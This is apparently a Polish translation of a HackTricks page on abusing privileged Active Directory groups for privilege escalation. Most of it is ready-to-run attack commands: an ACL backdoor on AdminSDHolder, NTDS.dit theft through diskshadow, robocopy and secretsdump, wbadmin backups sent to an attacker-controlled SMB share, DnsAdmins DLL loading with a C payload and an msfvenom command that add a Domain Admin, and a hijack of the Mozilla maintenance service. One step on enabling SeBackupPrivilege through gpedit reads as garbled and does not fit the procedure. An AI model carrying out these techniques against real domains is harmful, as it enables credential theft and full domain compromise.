hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
2024-02-11 01:46:25 +00:00

18 KiB

Grupy z uprawnieniami administratora

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Powszechnie znane grupy z uprawnieniami administracyjnymi

  • Administratorzy
  • Administratorzy domeny
  • Administratorzy przedsiębiorstwa

Operatorzy konta

Ta grupa ma uprawnienia do tworzenia kont i grup, które nie są administratorami domeny. Dodatkowo umożliwia lokalne logowanie do kontrolera domeny (DC).

Aby zidentyfikować członków tej grupy, wykonuje się następujące polecenie:

Get-NetGroupMember -Identity "Account Operators" -Recurse

Dodawanie nowych użytkowników jest dozwolone, a także lokalne logowanie do DC01.

Grupa AdminSDHolder

Lista kontroli dostępu (ACL) grupy AdminSDHolder jest kluczowa, ponieważ ustawia uprawnienia dla wszystkich "chronionych grup" w Active Directory, w tym grup o wysokich uprawnieniach. Ten mechanizm zapewnia bezpieczeństwo tych grup, uniemożliwiając nieautoryzowane modyfikacje.

Atakujący może wykorzystać to, modyfikując ACL grupy AdminSDHolder, nadając pełne uprawnienia standardowemu użytkownikowi. Spowoduje to efektywne nadanie temu użytkownikowi pełnej kontroli nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną automatycznie przywrócone w ciągu godziny ze względu na projekt systemu.

Polecenia do przeglądania członków i modyfikowania uprawnień obejmują:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

Dostępny jest skrypt, który przyspiesza proces przywracania: Invoke-ADSDPropagation.ps1.

Aby uzyskać więcej szczegółów, odwiedź ired.team.

Kosz Active Directory

Członkostwo w tej grupie umożliwia odczyt usuniętych obiektów Active Directory, co może ujawnić poufne informacje:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Dostęp do kontrolera domeny

Dostęp do plików na kontrolerze domeny jest ograniczony, chyba że użytkownik jest częścią grupy Operatorzy serwera, co zmienia poziom dostępu.

Eskalacja uprawnień

Za pomocą narzędzi PsService lub sc z Sysinternals można sprawdzać i modyfikować uprawnienia usług. Grupa Operatorzy serwera, na przykład, ma pełną kontrolę nad określonymi usługami, co umożliwia wykonywanie dowolnych poleceń i eskalację uprawnień:

C:\> .\PsService.exe security AppReadiness

Ten polecenie ujawnia, że Operatorzy serwera mają pełny dostęp, umożliwiający manipulację usługami w celu uzyskania podwyższonych uprawnień.

Operatorzy kopii zapasowych

Członkostwo w grupie Operatorzy kopii zapasowych umożliwia dostęp do systemu plików DC01 dzięki uprawnieniom SeBackup i SeRestore. Te uprawnienia umożliwiają nawigację po folderach, wyświetlanie listy i kopiowanie plików, nawet bez udzielonych uprawnień, przy użyciu flagi FILE_FLAG_BACKUP_SEMANTICS. Do tego procesu konieczne jest użycie określonych skryptów.

Aby wyświetlić członków grupy, wykonaj:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

Atak lokalny

Aby wykorzystać te uprawnienia lokalnie, stosuje się następujące kroki:

  1. Importuj niezbędne biblioteki:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. Włącz i zweryfikuj SeBackupPrivilege:
1. Otwórz narzędzie "Lokalne zasady grupy" (`gpedit.msc`).
2. Przejdź do "Konfiguracja komputera" > "Ustawienia systemu Windows" > "Ustawienia zabezpieczeń" > "Strategie lokalne" > "Przydział uprawnień użytkowników".
3. Znajdź uprawnienie "Tworzenie kopii zapasowych plików i katalogów" (`SeBackupPrivilege`).
4. Dodaj odpowiednie konta do tego uprawnienia, takie jak "Administratorzy" lub "Użytkownicy".
5. Aby zweryfikować, czy uprawnienie zostało poprawnie włączone, otwórz wiersz polecenia jako administrator i wykonaj polecenie `whoami /priv`. Upewnij się, że `SeBackupPrivilege` jest wymienione jako jedno z uprawnień.

Więcej informacji na temat uprawnień tokena można znaleźć tutaj.

Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. Uzyskaj dostęp i skopiuj pliki z ograniczonych katalogów, na przykład:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

Atak na AD

Bezpośredni dostęp do systemu plików kontrolera domeny umożliwia kradzież bazy danych NTDS.dit, która zawiera wszystkie hashe NTLM dla użytkowników i komputerów domeny.

Użycie diskshadow.exe

  1. Utwórz kopię cienia dysku C:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. Skopiuj NTDS.dit z kopii cienia:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Alternatywnie, użyj robocopy do kopiowania plików:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. Wyodrębnij SYSTEM i SAM w celu odzyskania hasha:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. Pobierz wszystkie hashe z pliku NTDS.dit:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Używanie wbadmin.exe

  1. Skonfiguruj system plików NTFS dla serwera SMB na maszynie atakującej i zapisz dane uwierzytelniające SMB na maszynie docelowej.
  2. Użyj wbadmin.exe do tworzenia kopii zapasowej systemu i ekstrakcji pliku NTDS.dit:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Aby zobaczyć praktyczną demonstrację, zobacz FILM DEMONSTRACYJNY Z IPPSEC.

DnsAdmins

Członkowie grupy DnsAdmins mogą wykorzystać swoje uprawnienia do załadowania dowolnej biblioteki DLL z uprawnieniami SYSTEM na serwerze DNS, który często jest hostowany na kontrolerach domeny. Ta zdolność daje duży potencjał do wykorzystania.

Aby wyświetlić członków grupy DnsAdmins, użyj:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Wykonaj dowolną DLL

Członkowie mogą sprawić, że serwer DNS załaduje dowolną DLL (lokalnie lub z udziału zdalnego) za pomocą poleceń takich jak:

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Konieczne jest ponowne uruchomienie usługi DNS (co może wymagać dodatkowych uprawnień), aby załadować plik DLL:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Aby uzyskać więcej szczegółów na temat tego wektora ataku, odwołaj się do ired.team.

Mimilib.dll

Możliwe jest również użycie mimilib.dll do wykonania poleceń, modyfikując go w celu wykonania określonych poleceń lub odwrócenia powłoki. Sprawdź ten post dla więcej informacji.

Rekord WPAD dla ataku MitM

DnsAdmins mogą manipulować rekordami DNS w celu przeprowadzenia ataków typu Man-in-the-Middle (MitM), tworząc rekord WPAD po wyłączeniu globalnej listy blokowania zapytań. Narzędzia takie jak Responder lub Inveigh mogą być używane do podszywania się i przechwytywania ruchu sieciowego.

Czytelnicy dziennika zdarzeń

Członkowie mogą uzyskać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci tekstowej lub szczegóły wykonania poleceń:

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Uprawnienia systemu Windows dla Exchange

Ta grupa może modyfikować DACL na obiekcie domeny, co potencjalnie umożliwia przyznanie uprawnień DCSync. Techniki eskalacji uprawnień wykorzystujące tę grupę są szczegółowo opisane w repozytorium GitHub Exchange-AD-Privesc.

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Administratorzy Hyper-V

Administratorzy Hyper-V mają pełny dostęp do Hyper-V, co można wykorzystać do przejęcia kontroli nad wirtualnymi kontrolerami domeny. Obejmuje to klonowanie aktywnych kontrolerów domeny i wydobywanie skrótów NTLM z pliku NTDS.dit.

Przykład wykorzystania

Usługa konserwacji Mozilli Firefox może zostać wykorzystana przez administratorów Hyper-V do wykonania poleceń jako SYSTEM. Polega to na utworzeniu twardego linku do chronionego pliku SYSTEM i zastąpieniu go złośliwym plikiem wykonywalnym:

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Zarządzanie organizacją

W środowiskach, w których jest wdrożony Microsoft Exchange, istnieje specjalna grupa o nazwie Organization Management, która posiada znaczące uprawnienia. Ta grupa ma uprzywilejowany dostęp do skrzynek pocztowych wszystkich użytkowników domeny oraz pełną kontrolę nad jednostką organizacyjną (OU) 'Microsoft Exchange Security Groups'. Ta kontrola obejmuje grupę Exchange Windows Permissions, która może być wykorzystana do eskalacji uprawnień.

Wykorzystanie uprawnień i polecenia

Operatorzy drukowania

Członkowie grupy Operatorzy drukowania mają wiele uprawnień, w tym SeLoadDriverPrivilege, które pozwala im zalogować się lokalnie do kontrolera domeny, wyłączyć go i zarządzać drukarkami. Aby wykorzystać te uprawnienia, zwłaszcza jeśli SeLoadDriverPrivilege nie jest widoczne w kontekście bez podniesienia uprawnień, konieczne jest obejście Kontroli Konta Użytkownika (UAC).

Aby wyświetlić członków tej grupy, używane jest następujące polecenie PowerShell:

Get-NetGroupMember -Identity "Print Operators" -Recurse

Aby uzyskać bardziej szczegółowe techniki eksploatacji związane z SeLoadDriverPrivilege, należy skonsultować się z konkretnymi zasobami dotyczącymi bezpieczeństwa.

Użytkownicy zdalnego pulpitu

Członkowie tej grupy mają dostęp do komputerów za pośrednictwem protokołu zdalnego pulpitu (RDP). Aby wyliczyć tych członków, dostępne są polecenia PowerShell:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Dalsze informacje na temat wykorzystywania RDP można znaleźć w dedykowanych zasobach do testowania penetracyjnego.

Użytkownicy zarządzania zdalnego

Członkowie mogą uzyskać dostęp do komputerów za pomocą Windows Remote Management (WinRM). Wyliczenie tych członków jest osiągane poprzez:

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Do technik eksploatacji związanych z WinRM, należy skonsultować się z odpowiednią dokumentacją.

Operatorzy serwera

Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnień do tworzenia kopii zapasowych i przywracania, zmiany czasu systemowego oraz wyłączania systemu. Aby wyświetlić członków tej grupy, należy użyć polecenia:

Get-NetGroupMember -Identity "Server Operators" -Recurse

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: